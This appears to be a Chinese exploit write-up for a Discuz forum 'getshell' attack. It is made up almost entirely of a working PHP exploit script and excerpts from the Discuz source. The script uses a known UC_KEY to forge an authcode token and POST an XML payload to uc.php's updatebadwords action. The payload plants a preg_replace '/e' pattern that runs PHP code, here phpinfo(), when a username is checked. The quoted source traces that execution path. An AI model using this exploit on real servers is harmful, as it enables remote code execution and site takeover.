Discuz利用UC_KEY进行前台getshell

<?php
$timestamp = time()+10*3600;
$host="ip地址";
$agent= md5("Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0");
$uc_key="网站的uc_key";
$code=urlencode(_authcode("agent=$agent&time=$timestamp&action=updatebadwords", ‘ENCODE‘, $uc_key));
$cmd1=‘<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="0">
<item id="findpattern">/(.*)/e</item>
<item id="replacement">phpinfo();</item>
</item>
</root>‘;
$html1 = send($cmd1);
echo $html1;
function send($cmd){
    global $host,$code;
    $message = "POST /Discuz_X2/api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    $resp = ‘‘;
    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
    return $resp;
}
function _authcode($string, $operation = ‘DECODE‘, $key = ‘‘, $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == ‘DECODE‘ ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ‘‘;
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == ‘DECODE‘ ? base64_decode(substr($string, $ckey_length)) : sprintf(‘%010d‘, $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = ‘‘;
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == ‘DECODE‘) {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return ‘‘;
        }
    } else {
        return $keyc.str_replace(‘=‘, ‘‘, base64_encode($result));
    }
}
?>

	$code = @$_GET[‘code‘];
	parse_str(authcode($code, ‘DECODE‘, UC_KEY), $get);

	$post = xml_unserialize(file_get_contents(‘php://input‘));

	function updatebadwords($get, $post) {
		global $_G;

		if(!API_UPDATEBADWORDS) {
			return API_RETURN_FORBIDDEN;
		}

		$data = array();
		if(is_array($post)) {
			foreach($post as $k => $v) {
				$data[‘findpattern‘][$k] = $v[‘findpattern‘];
				$data[‘replace‘][$k] = $v[‘replacement‘];
			}
		}
		$cachefile = DISCUZ_ROOT.‘./uc_client/data/cache/badwords.php‘;
		$fp = fopen($cachefile, ‘w‘);
		$s = "<?php\r\n";
		$s .= ‘$_CACHE[\‘badwords\‘] = ‘.var_export($data, TRUE).";\r\n";
		fwrite($fp, $s);
		fclose($fp);

if($_G[‘gp_action‘] == ‘checkusername‘) {


	$username = trim($_G[‘gp_username‘]);
	$usernamelen = dstrlen($username);
	if($usernamelen < 3) {
		showmessage(‘profile_username_tooshort‘, ‘‘, array(), array(‘handle‘ => false));
	} elseif($usernamelen > 15) {
		showmessage(‘profile_username_toolong‘, ‘‘, array(), array(‘handle‘ => false));
	}

	loaducenter();
	$ucresult = uc_user_checkname($username);

function uc_user_checkname($username) {
	return call_user_func(UC_API_FUNC, ‘user‘, ‘check_username‘, array(‘username‘=>$username));
}

define(‘UC_API_FUNC‘, UC_CONNECT == ‘mysql‘ ? ‘uc_api_mysql‘ : ‘uc_api_post‘);

function uc_api_mysql($model, $action, $args=array()) {
	global $uc_controls;
	if(empty($uc_controls[$model])) {
		include_once UC_ROOT.‘./lib/db.class.php‘;
		include_once UC_ROOT.‘./model/base.php‘;
		include_once UC_ROOT."./control/$model.php";
		eval("\$uc_controls[‘$model‘] = new {$model}control();");
	}
	if($action{0} != ‘_‘) {
		$args = uc_addslashes($args, 1, TRUE);
		$action = ‘on‘.$action;
		$uc_controls[$model]->input = $args;
		return $uc_controls[$model]->$action($args);
	} else {
		return ‘‘;
	}
}

	function _check_username($username) {
		$username = addslashes(trim(stripslashes($username)));
		if(!$_ENV[‘user‘]->check_username($username)) {
			return UC_USER_CHECK_USERNAME_FAILED;
		} elseif(!$_ENV[‘user‘]->check_usernamecensor($username)) {
			return UC_USER_USERNAME_BADWORD;
		} elseif($_ENV[‘user‘]->check_usernameexists($username)) {
			return UC_USER_USERNAME_EXISTS;
		}
		return 1;
	}

	function check_usernamecensor($username) {
		$_CACHE[‘badwords‘] = $this->base->cache(‘badwords‘);
		$censorusername = $this->base->get_setting(‘censorusername‘);
		$censorusername = $censorusername[‘censorusername‘];
		$censorexp = ‘/^(‘.str_replace(array(‘\\*‘, "\r\n", ‘ ‘), array(‘.*‘, ‘|‘, ‘‘), preg_quote(($censorusername = trim($censorusername)), ‘/‘)).‘)$/i‘;
		$usernamereplaced = isset($_CACHE[‘badwords‘][‘findpattern‘]) && !empty($_CACHE[‘badwords‘][‘findpattern‘]) ? @preg_replace($_CACHE[‘badwords‘][‘findpattern‘], $_CACHE[‘badwords‘][‘replace‘], $username) : $username;
		if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
			return FALSE;
		} else {
			return TRUE;
		}
	}